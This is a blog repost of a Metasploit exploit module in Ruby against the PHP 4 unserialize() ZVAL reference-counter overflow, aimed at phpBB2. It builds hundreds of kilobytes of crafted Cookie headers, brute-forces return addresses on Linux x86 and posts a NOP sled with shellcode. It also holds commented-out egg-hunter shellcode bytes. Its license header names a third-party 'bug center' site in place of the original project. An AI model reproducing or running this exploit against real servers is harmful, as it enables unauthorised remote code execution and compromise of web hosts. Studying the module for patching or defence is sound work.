鬼仔's Blog

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the zcuu bug center
# Framework web site for more information on licensing and terms of use
# http://hacker.zcuu.com/
##

require 'msf/core'

module Msf

class Exploits::Multi::Php::PHP_Unserialize_Zval_phpBB2 < Msf::Exploit::Remote

include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient
include Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (phpBB2)',
'Description' => %q{
This module exploits an integer overflow vulnerability in the unserialize()
function of the PHP web server extension. This vulnerability was patched by
Stefan in version 4.5.0 and applies all previous versions supporting this function.
This particular module targets the phpBB2 web application and is based on the proof
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
of data to trigger on phpBB2 (due the multiple Cookie headers requirement). Since we
are already assuming a fast network connection, we use a 2Mb block of shellcode for
the brute force, allowing quick exploitation for those with fast networks.

One of the neat things about this vulnerability is that on x86 systems, the EDI register points
into the beginning of the hashtable string. This can be used with an egghunter to
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
module is more reliable across a wider range of systems.

},
'Author' =>
[
'hdm', # module development
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3509 $',
'References' =>
[
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Targets' =>
[

#
# 64-bit SuSE: 0x005c0000
# Backtrack 2.0: 0xb797a000
# Gentoo: 0xb6900000
#

[ 'Linux x86 phpBB2',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
]
],
'DisclosureDate' => 'Mar 04 2007'))

register_options(
[
OptString.new('URI', [true, "The full URI path to vulnerable PHP script", '/phpBB2/faq.php']),
OptString.new('COOKIENAME', [true, "The prefix to use in front of cookie names", 'phpbb2mysql'])
], self.class)
end

def brute_exploit(target_addrs)

zvalref = encode_semis('i:0;R:2;')

#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
# Linux specific egg-hunter
tagger = "\x90\x50\x90\x50"
hunter =
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
"\x3c\xf2\x74\xf1\xb8" +
tagger +
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

egghunter = "\xcc" * 39
egghunter[0, hunter.length] = hunter

hashtable = "\xcc" * 39
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes

hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end

#
# Just brute-force addresses for now
#
tagger = ''
egghunter = rand_text_alphanumeric(39)
hashtable = rand_text_alphanumeric(39)
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')

# Generate and reuse the original buffer to save CPU
if (not @saved_cookies)

# Building the malicious request
print_status("Creating the request...")

# Create the first cookie header to get this started
cookie_fun = "Cookie: #{datastore['COOKIENAME']}_data="
cookie_fun << Rex::Text.uri_encode(
'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";'+
'i:0;s:12:"012345678BAN";i:0;}'
)
cookie_fun << zvalref * 500
cookie_fun << Rex::Text.uri_encode('s:2:"')
cookie_fun << "\r\n"

refcnt = 1000
refmax = 65535

# Keep adding cookie headers...
while(refcnt < refmax)

chead = 'Cookie: ';
chead << encode_semis('";N;')

# Stay within the 8192 byte limit
0.upto(679) do |i|
break if refcnt >= refmax
refcnt += 1

chead << zvalref
end
chead << encode_semis('s:2:"')
cookie_fun << chead + "\r\n"
end

# The final header, including the hashtable with return address
cookie_fun << "Cookie: "
cookie_fun << Rex::Text.uri_encode('";N;')
cookie_fun << zvalref * 500

@saved_cookies = cookie_fun
end

# Generate and reuse the payload to save CPU time
if (not @saved_payload)
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
end

cookie_addrs = Rex::Text.uri_encode(
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
) + "\r\n"

print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'raw_headers' => @saved_cookies + cookie_addrs,
'data' => @saved_payload
}, 1)

if res
print_status("Received a response: #{res.code} #{res.message}")
else
print_status("No response from the server")
end

end